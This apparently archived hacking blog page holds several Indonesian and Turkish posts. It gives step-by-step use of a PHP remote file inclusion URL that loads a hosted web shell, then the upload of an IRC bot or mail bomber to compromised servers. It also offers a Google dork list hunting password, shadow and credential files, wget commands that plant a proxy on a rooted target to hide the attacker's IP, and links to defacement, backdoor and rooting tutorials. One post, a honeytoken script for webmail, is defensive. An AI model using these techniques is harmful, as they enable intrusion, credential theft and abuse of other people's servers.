PaLZuM

MEMANFAATKAN SHELL SAVE MODE ON

Rabu, 12 September 2007 |

Biasa nya beberapa target injekan yang telah kita susupi sering kita temui SAVEMODE pada target tersebut telah dinyalakan / dihidupkan atau sering kita dengar dengan istilah SAVEMODE ON.
Apabila savemode pada target tersebut telah dihidupkan, kita tidak dapat menuliskan perintah pada target tersebut. ( Pada layar tampilan injekan r57, dapat kita lihat bahwa kolom tempat kita memasukan perintah tidak ada alias hilang. ) Lalu bagaimana kita memanfaat kan terget tersebut? Sayang kan kalau kita buang.
Biasa nya para newbie ( termasuk saya ;p ) langsung mengabaikan target-target tersebut, namun ternyata target-target tersebut masih dapat dipergunakan diantaranya untuk membuat Bot mIRC dan Mail Bomber.
Bagaimana cara membuatnya? Sedangkan kita tidak dapat melakukan perintah terhadap shell target tersebut.
Nah berikut ini adalah cara untuk membuat Bot mIRC pada target SAVEMODE ON.
1. Sambungkan komputer anda ke dunia maya.
2. Buka target injekan anda ( yang SAVEMODE ON ) dengan injekan c99 atau morgan.
Contoh: http://www.target.com/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_patch=http://geocities.com/tj_glodok/Injek/morgan.txt?
3. Cari folder yg ada permission nya dibelakang folder /public_html/ supaya bisa kita buka melalui browser ( Pada injekan morgan, folder yang ada permission akan di cetak tebal )
Contoh: /home/target/public_html/modules/

4. Download file bot php ke dalam komputer anda.
http://geocities..com/tj_glodok/Bot/botphp.zip
5. Ubah nama file (terserah) dengan extantion .php
Contoh: botphp.zip menjadi bot.php
6. Lalu upload file bot.php ke dalam folder yang kita cari tadi.
( Lihat langkah no.3 /home/target/public_html/modules/ )
Nah setelah selesai, kita buka target tersebut di browser dengan alamat:
http://www.target .com/modules/bot.php

*Note: - Untuk pembuatan Mail Bomber, sama seperti langkah diatas atau anda bisa lihat di
http://www.sekuritionline.net/index.php?categoryid=12&p2_articleid=35 )
- Tulisan ini hanya untuk menambahkan pengetahuan semata bagi yang belum mengetahui,
apabila ada kesalahan-kesalahan mohon dimaafkan :p

Label: Hacking

diposting oleh palzum @ 17.38

GoogleHack

Senin, 10 September 2007 | 1 Komentar

Hatta Alttada arama kodlarını verım bari

"A syntax error has occurred" filetype:ihtml
"access denied for user" "using password"
"A syntax error has occurred" filetype:ihtml
"access denied for user" "using password"
"Can’t connect to local" intitle:warning
"detected an internal error [IBM][CLI Driver][DB2/6000]"
"Fatal error: Call to undefined function"
"Incorrect syntax near"
"ORA-00933: SQL command not properly ended"
"PostgreSQL query failed: ERROR: parser: parse error"
"Supplied argument is not a valid MySQL result resource"
"Syntax error in query expression "
"Unclosed quotation mark before the character string"
"Warning: Cannot modify header information - headers already sent"
An unexpected token "END-OF-STATEMENT" was found
Coldfusion Error Pages
filetype:asp "Custom Error Message" Category Source
Internal Server Error
intitle:"Error Occurred" "The error occurred in" filetype:cfm
intitle:"Execution of this script not permitted"
intitle:"Under construction" "does not currently have"
MYSQL error message: supplied argument....
mysql error with query
ORA-00921: unexpected end of SQL command
ORA-00936: missing expression
sitebuildercontent
sitebuilderfiles
sitebuilderpictures
SQL syntax error
Supplied argument is not a valid PostgreSQL result
warning "error on line" php sablotron

Kullanıcı İsimleri-Açıklama yapmaya gerek var mı? Kullanıcı isimlerini buluyor.
"index of" / lck
+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"
bash_history files
filetype

f inurlroftpd.conf -sample
filetype:log username putty
filetype:reg reg +intext:"internet account manager
filetype:reg reg HKEY_CURRENT_USER username
index.of perform.ini
inurl:admin filetype:asp inurl:userlist
inurl:admin inurl:userlist
inurlhp inurl:hlstats intext:"Server Username"
sh_history files

Şifreler-En önemli ayrıntılar...
allinurl: admin mdb
auth_user_file.txt
config.php
eggdrop filetype:user user
etc (index.of)
filetype:cfm "cfapplication name" password
filetype

f slapd.conf
filetype:dat "password.dat"
filetype:inc intext:mysql_connect
filetype:log inurl:"password.log"
filetypeem intextrivate
filetyperoperties inurl:db intextassword
filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS
filetype:url +inurl:"ftp://" +inurl:";@"
filetype:xls username password email
htpasswd
htpasswd / htgroup
htpasswd / htpasswd.bak
intitle:"index of" intext

nect.inc
intitle:"index of" intext:globals.inc
intitle:index.of administrators.pwd
intitle:Index.of etc shadow
intitle:index.of secring.pgp
inurl:"wvdial.conf" intext:"password"
inurl

fig.php dbuname dbpass
inurlerform filetype:ini
inurl:vtund.conf intextass -cvs
master.passwd
mysql history files
passlist
passlist.txt (a better way)
passwd
passwd / etc (reliable)
people.lst

PGP Keys
pwd.db
spwd.db / passwd
trillian.ini

İlginç bilgiler: kullanıcı ismi ve şifre yok ama site hakkında önemli bilgilere ulaşabilirsiniz
"#mysql dump" filetype:sql
"generated by wwwstat"
"Host Vulnerability Summary Report"
"HTTP_FROM=googlebot" googlebot.com "Server_Software="
"Index of" / "chat/logs"
"Mecury Version" "Infastructure Group"
"Most Submitted Forms and Scripts" "this section"
"Network Vulnerability Assessment Report"
"not for distribution" confidential
"phpMyAdmin" "running on" inurl:"main.php"
"produced by getstats"
"Request Details" "Control Tree" "Server Variables"
"robots.txt" "Disallow:" filetype:txt
"robots.txt" "Disallow:" filetype:txt
"Running in Child mode"
"Thank you for your order" +receipt
"This is a Shareaza Node"
"This report was generated by WebLog"
AIM buddy lists
allinurl:/examples/jsp/snp/snoop.jsp
allinurl:servlet/SnoopServlet
cgiirc.conf
cgiirc.conf
filetype:blt blt +intext:screenname
filetype

f inurl:firewall -intitle:cvs
filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"
filetype:lic lic intext:key
filetype:log access.log -CVS
filetype:mbx mbx intext:Subject
filetype:wab wab
haccess.ctl
ICQ chat logs, please...
iletype:log cron.log
intext:"Tobias Oetiker" "traffic analysis"
intitle:"Big Sister" +"OK Attention Trouble"
intitle:"index of" mysql.conf OR mysql_config
intitle:"statistics of" "advanced web statistics"
intitle:"System Statistics" +"System and Network Information Center"
intitle:"Usage Statistics for" "Generated by Webalizer"
intitle:"wbem" compaq login
intitle:admin intitle:login
intitle:index.of "Apache" "server at"
intitle:index.of cleanup.log
intitle:index.of dead.letter
intitle:index.of inbox
intitle:index.of inbox dbx
intitle:index.of ws_ftp.ini
intitle:intranet inurl:intranet +intext:"phone"
inurl:"/cricket/grapher.cgi"
inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM
inurl:"newsletter/admin/"
inurl:"newsletter/admin/" intitle:"newsletter admin"
inurl:"smb.conf" intext:"workgroup" filetype

f conf
inurl:admin filetype:xls
inurl:admin intitle:login
inurl:cgi-bin/printenv
inurl:changepassword.asp
inurl:fcgi-bin/echo
inurl:main.php phpMyAdmin
inurl:main.php Welcome to phpMyAdmin
inurlerl/printenv
inurlhp.ini filetype:ini
inurl:server-info "Apache Server Information"
inurl:server-status "apache"
inurl:tdbin
inurl:vbstats.php "page generated"
ipsec.conf
ipsec.secrets
ipsec.secrets
mt-db-pass.cgi files
mystuff.xml - Trillian data files
"phpinfo.php" -manual
"# phpMyAdmin MySQL-Dump" "INSERT INTO" -"the"
intitle:index.of robots.txt
site:edu admin grades
"# Dumping data for table"
"cacheserverreport for" "This analysis was produced by calamaris"
+htpasswd +WS_FTP.LOG filetype:log
intitle:admin intitle:login

Login Portalları-sisteme giriş kapıları
"please log in"
"VNC Desktop" inurl:5800
"Web Control Panel" "Enter your password here"
allinurl:"exchange/logon.asp"
intitle:"ColdFusion Administrator Login"
intitle:"Dell Remote Access Controller"
intitle:"MikroTik RouterOS Managing Webpage"
intitle:"Remote Desktop Web Connection" inurl:tsweb
inurl:":10000" intext:webmin
inurl:/admin/login.asp
inurl:/Citrix/Nfuse17/
inurl:citrix/****framexp/default/login.asp
inurl:login filetype:swf swf
inurl:login.asp
inurl:login.cfm
inurl:names.nsf?opendatabase
url:webadmin" filetype:nsf

Network bilgileri, firewall log’ları, IDS kayıtları
"Network Host Assessment Report" "Internet Scanner"
"SnortSnarf alert page"
"This file was generated by Nessus"
"This report lists" "identified by Internet Scanner"
filetypedf "Assessment Report" nessus
filetype:vsd vsd network -samples -examples
inurlhpSysInfo/ "created by phpsysinfo"

Önemli Klasörler
"index of cgi-bin"
"index of" inurl:recycler
"Welcome to phpMyAdmin" " Create new database"
index.of.password
intitle:"Index of c:Windows"
intitle:"Index of" cfide
intitle:"index.of.personal"
intitle:intranet inurl:intranet +intext:"human resources"
inurl:/pls/sample/admin_/help/
inurl:/tmp
inurl:backup intitle:index.of inurl:admin
inurl:j2ee/examples/jsp
inurljspdemos
"Index of /backup"
index.of.private
index.of.protected
index.of.secret
index.of.secure
index.of.winnt

Güvenlik Açığı Olan Sunucular
"Select a database to view" intitle:"filemaker pro"
"Welcome to Intranet"
"Welcome to PHP-Nuke" congratulations
"YaBB SE Dev Team"
allinurl:install/install.php
allinurl:intranet admin
Gallery in configuration mode
Hassan Consulting’s Shopping Cart Version 1.18
intitle:"Gateway Configuration Menu"
intitle:"osCommerce" inurl:admin filetypehp
intitle:"Remote Desktop Web Connection"
intitle:"Samba Web Administration Tool" intext:"Help Workgroup"
intitle:"Terminal Services Web Connection"
inurl:footer.inc.php
inurl:info.inc.php
inurl:ManyServers.htm
inurlls/admin_/gateway.htm
inurl:search.php vbulletin

Web sunucularını öğrenmek
"seeing this instead" intitle:"test page for apache"
aboutprinter.shtml (More Xerox printers on the web!)
allintitle:Netscape FastTrack Server Home Page
intitle:"Apache HTTP Server" intitle:"documentation"
intitle:"Welcome to IIS 4.0"
index_i.shtml Ready (Xerox printers on the web!)
intitle:"300 multiple choices"
intitle:"Test Page for Apache"
intitle:"Test Page for Apache" "It Worked!"
intitle:"Test Page for Apache" "It Worked!" "on this web"
intitle:Snap.Server inurl:Func=
inurl:domcfg.nsf
inurl:tech-support inurl:show Cisco

Label: Hacking

diposting oleh palzum @ 18.59

Tips: Menjebak Hacker

Sabtu, 18 Agustus 2007 | 0 Komentar

Account Webmail adalah target utama hacker/cracker/phiser, bisa dikatakan account webmail adalah harta karun yang harus kita jaga baik-baik, jangan sampai orang lain tahu.

Kerahasiaan informasi webmail kadangkala lebih penting daripada account bank
online kita.

Jika webmail kita dihack, semua informasi penting termasuk login bank, administrasi situs, dan semua website yang berhubungan dengan webmail kita (yang menggunakan sistem kirim password ke email jika kita lupa) bisa-bisa dibobol juga.

Bahkan di dalam sebuah wawancara, seorang phisher mengaku bisa memperoleh ribuan dolar setiap harinya dengan membobol email account dan mengumpulkan informasi finansial yang berharga di dalamnya [ http://find.pcworld.com/57837].

Masalahnya adalah kita tidak pernah tahu jika account webmail kita pernah dibobol atau tidak, kecuali jika kita sudah tidak bisa login memakai informasi password yang kita tentukan, yang berarti telah ada hacker yang masuk ke webmail kita dan merubah password webmail tersebut. Dan bisa saja sang hacker setelah membaca email kita kemudian menandainya sebagai belum terbaca (unread), yang kita tidak akan pernah sadar jika email tersebut telah dibaca orang.

Untuk mendeteksi kemungkinan dibobolnya email kita, bisa dengan menyelipkan script dari situs hit counter ke dalam email sehingga jika ada yang membukanya otomatis hit counter akan bertambah, seperti dibahas di
http://www.stuff.web.id/2007/08/tips-berburu-maling.html.

Sebagai alternatif, kita bisa membuat sendiri script PHP sederhana seperti berikut:

/*
Alarm pendeteksi hacker untuk Webmail
By dktrooper/at/stuff.web.id
*/
putenv("TZ=SE Asian Standar Time/Jakarta");
$gmt_dif = +7; // Beda waktu dengan GMT
$timestamp = time() + 60*60*($gmt_dif); // Hitung jam
$date = date('F-j-Y', $timestamp);
$time = date('g:i a', $timestamp);
$fp = fopen('xlogs.txt','a');
fputs($fp, "IP: ".getenv('REMOTE_ADDR')."\nBROWSER: ".getenv('HTTP_USER_AGENT')."\nDATE: ". $date." ".$time."\n\n"); // Catat Log
fclose($fp);
?>

Simpan dengan nama access_logs.php. Buat file xlogs.txt (atur permisinya ke 777 sehingga bisa ditulisi oleh nobody) dan juga file htacces seperti di bawah:

RewriteEngine On
RewriteRule ^passwordku.html$ access_logs.php

Sehingga semua request ke passwordku.html akan diarahkan ke access_logs.php (mirip dengan trik yang saya terapkan dalam kasus

detikinet [ http://www.stuff.web.id/2007/07/beware-of-hotlinking.html])

Ok, jebakan sudah, sekarang saatnya kita buat umpan. Tulis email dalam format html yang isinya daftar user+password palsu dan tambahkan skrip ini (dalam mode html):

style="display:none;">

Beri subject: "Password Penting" dan kirim ke email Anda sendiri (atau semua email yang perlu dimata-matai) Apabila format html tidak diperbolehkan, bisa pakai format teks biasa dan tambahkan http://situs-anda.org/passwordku.html, sehingga hacker akan tertarik dan mengunjungi halaman jebakan yang telah disiapkan.

Apabila ada yang membuka email atau link tersebut, maka hasil Lognya seperti berikut:

IP: x.x.x.x
BROWSER: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3
DATE: August-08-2007 23:33 pm

Alternatif lain, selain mencatatnya ke file xlogs.txt, kita bisa mengirim log di atas ke email kita setiap ada yang mengakses

file passwordku.html, dengan menambahkan beberapa baris skrip pada access_logs.php sehingga menjadi:

/*
Alarm pendeteksi hacker untuk Webmail
By dktrooper/at/stuff.web.id
*/
putenv("TZ=SE Asian Standar Time/Jakarta");
$gmt_dif = +7; // Beda waktu dengan GMT
$timestamp = time() + 60*60*($gmt_dif); // Hitung jam
$date = date('F-j-Y', $timestamp);
$time = date('g:i a', $timestamp);
$fp = fopen('xlogs.txt','a');
fputs($fp, "IP: ".getenv('REMOTE_ADDR')."\nBROWSER: ".getenv('HTTP_USER_AGENT')."\nDATE: ". $date." ".$time."\n\n"); // Catat Log
fclose($fp);
mail("alamat@email.koe","Daftar hacker yang terdeteksi","IP: ".getenv('REMOTE_ADDR')."\nBROWSER: ".getenv('HTTP_USER_AGENT')."\nDATE: ". $date." ".$time."\n\n");
?>

Sebagai usaha pencegahan, jangan pernah menyimpan informasi rahasia dalam email, karena walaupun pelakunya bisa ketahuan, mungkin data-data penting atau bahkan account bank kita sudah diobok-obok terlebih dulu.

Mudah-mudahan bermanfaat.

Label: Hacking

diposting oleh palzum @ 08.42

FREE - ALL Download

Kamis, 16 Agustus 2007 | 17 Komentar

Label: Hacking

diposting oleh palzum @ 16.30

Tips Pembuatan IP / Proxy Spoofing [ Fake Proxy ]

Kamis, 09 Agustus 2007 | 7 Komentar

Pernahkan rekan-rekan mengalami kesulitan bila mengakses suatu site ? kadang IP kita diblok / dibanned [ entah kesalahan siapa ] sehingga kita tidak bisa memasuki suatu halaman situs. Agar kita bisa melewati ini maka diperlukan suatu bantuan pihak ke 3 agar kita bisa masuk ke dalam hal situs tersebut, pihak ke 3 yang dimaksud adalah pihak yang menyediakan jasa proxy anonymouse [ hidden proxy ] baik gratis maupun yang tidak gratis [ bayar ]. Banyak sekali rujukan site yang menyediakan Proxy Anonymouse tersebut , seperti antiproxy.com, samair.ru/proxy, dll.
Disini penulis akan coba memberikan tips membuat proxy sendiri, [ ini yang sering dilakukan seorang Hacker untuk melakukan Spoofing IP agar dapat menyusup kedalam target agar IP asli Hacker tidak kelihatan ] :P .
Ok’s ga usah panjang lebar langsung aja , pertama kali anda harus mempunyai target injeckan atau Shell [ kalo ga punya target cari di www.milw0rm.com or situs underground, jangan tanya penulis karena penulis juga bingung ].
Anggap penulis asumsikan anda telah dapat target [ entah uda root atau masih dalam injeckan ], Btw lansung aja, penulis jalankan Putty terus konek ke root target :P

wget untuk mengambil file mentah proxy.tgz, perintahnya adalah
Wget http://site.com/proxy.tgz [ terserah anda taruh dimana file mentah proxy.tgz]
Lihat di dalam gambar bila berhasil akan nampak seperti gambar dibawah bahwa file proxy.tgz [ file mentah ] sudah masuk kedalam root target :P

Kemudian extract file proxy.tgz dengan perintah tar –zxvf proxy.tgz

Kemudian masuk kedalam Folder Pro, dengan perintah cd pro

Kemudian Buat proxy dengan perintah ./prox –d –a –p8889 [ terserah anda untuk memasukkan port berapa, penulis lebih senang make port 8889 gampang diinget ] :P

Cek apakah proxy sudah berjalan sesuai yang kita inginkan dengan perintah ps –x [seperti gue jago linux, padahal mah ga ngerti linux heuehueMaka akan tampil diproses background seperti yang nampak di bawah ini]

Untuk pengecekan anda buka IE anda or Mozilla kemudian brosing ke http://www.cmyip.com/ lihat IP asli anda

Nah ini adalah IP asli anda sekarang untuk merubah IP asli ke dalam proxy buatan kita cukup gampang, yaitu dengan klik option pada IE or Mozilla kemudian klik Connection setting masukan IP dan port buatan kita :P

klik Ok , kembali ke haalamn situs cek kembali lewat http://www.cmyip.com/

Ups kita berhasil melakukan spoofing IP / Fake Port , sekarang posisi kita bermain adalah di Negara Swedia , dan kemungkinan kecil IP asli kita dapat terdeteksi.

cukup jelas tulisan dari seorang Newbie yang ingin berbagi pengalaman kepada rekan-rekan IT :P

Note : Untuk hal ini pergunakan dengan bijaksana, jangan pergunakan untuk keperluan merusak atau untuk keperluan carding [ ingat IP Negara kita termasuk yang diblaklist oleh hampir semua Negara ].

Penulis menulis ini karena penulis dulu [ waktu muda kale ya ]kesulitan sewaktu mengakses suatu situs karena IP warnet tempat penulis di Banned .

Label: Hacking

diposting oleh palzum @ 11.42

Kumpulan Hacking Tools

Selasa, 31 Juli 2007 | 6 Komentar

- Download X-Code Energy Saturn
- Paket Wallpaper XCode - Disk 1
- Paket Wallpaper XCode - Disk 2
- Paket Logo XCode
- Download guestbook web
- Download guestbook Mirror
- Download Artikel X-Code di komunitas lain
- Download beberapa artikel lama ^family_code^
- Perintah DALNET
- Daftar ip warnet Yogya (Periksa di bagian forum -> forum membahas warnet / ISP)
- Artikel-artikel ^family_code^ di web lain
- Video X-Code

X-Code Video
- Download tes_program.zip
- Download awas_movie_palsu.zip
- Download cek_bug_dgn_nikto.zip
- Download nembak_apache.zip
- Download install_phpbb.zip
- Download fingerprinting.zip
- Download cpp_builder.zip

JambiHackerlink Video
- Download Video HackAdvancedGuestbook
- Download Video HackBukuTamu
- Download Video HackCatalog
- Download Video HackCpath
- Download Video HackForumPhpBB2
- Download Video HackHpMaker
- Download Video HackMambo
- Download Video HackPhpCoin
- Download Video HackPhpGedView
- Download Video HackPHPinjection
- Download Video HackPHPNuke2
- Download Video MassDeface

PusHm0v Video
- Download CulikPDShopPro

Video Hack Yahoo
- Download Yahoo Hacking (Hack e-mail Yahoo)

Download video lainnya
- Download vBulletin Hack
- Download LimeWireHack

- Download kumpulan tutor dan artikel - 1
(Jelaga, Kahmi, Kecoak, KompiSingCat, Ezine Echo lama, SecretColony, YogyaCarding, lain-lainnyaya)
- Download kumpulan tutor dan artikel - 2
(Ezine Echo lama, Tutor lengkap Jasakom lama)
- Download kumpulan tutor dan artikel - 3
(Artikel, Astronomi, BaliHack, Cyber Samarinda, ICT, IndoProg, IndoSecure, LinuxBali, LinuxJakarta, LinuxLainnya, Newbies, PakTani dan lainnya)
- Download kumpulan tutor dan artikel - 4
(Tutor tembak ip, Jasakom tutor baru, Unicode tutor)

Bonus tutor :
- Tutor cara melakukan deface pada web
(Deface situs PHPNuke, Deface situs asp/IIS dgn tools Exploit, deface situs asp/IIS dgn SQL Injection, deface situs asp/IIS dgn menggunakan Windows 98, deface situs php dgn SQL Injection, deface situs php dgn SQL Injection II, deface guestbook (buku tamu), deface guestbook (buku tamu) 2 , deface Forum PhpBB2, deface Forum PhpBB2 II, deface guestbook pakai pic, deface situs php nuke, deface melalui showpage.cgi, Hacking Forum Phphbb v.phpBB-2.0.5, PHP-NUKE-BUGS).
- Tutor lengkap cara bermain di shell target
(pasang backdoor, pasang bindtty, belajar NgeRoot, Cracking Root, langkah-langkah bikin PSYBNC I dan II danlangkah-langkah bikit BOT I dan II).
- Cara masuk komputer orang lain dengan W32/Romdil (disertakan toolsnya)
- Menjebol Password Network Neigborhoud
- Mengenai Ngembom E-Mai Lewat E-Mail

Download THE ART OF INTRUSION
- Download E-book The Art of Intrusion (disk 1)
- Download E-book The Art of Intrusion (disk 2)

Download berbagai macam bahasa pemograman
- Download LCC untuk exploit di Windows
- Download ActivePerl untuk exploit di Windows
- Download Python untuk exploit di Windows
- Download bahasa pemograman QBASIC
- Download bahasa pemograman Turbo Pascal 7.0
- Download bahasa pemograman Turbo Basic
- Download bahasa pemograman Turbo Assembler
- Download bat2com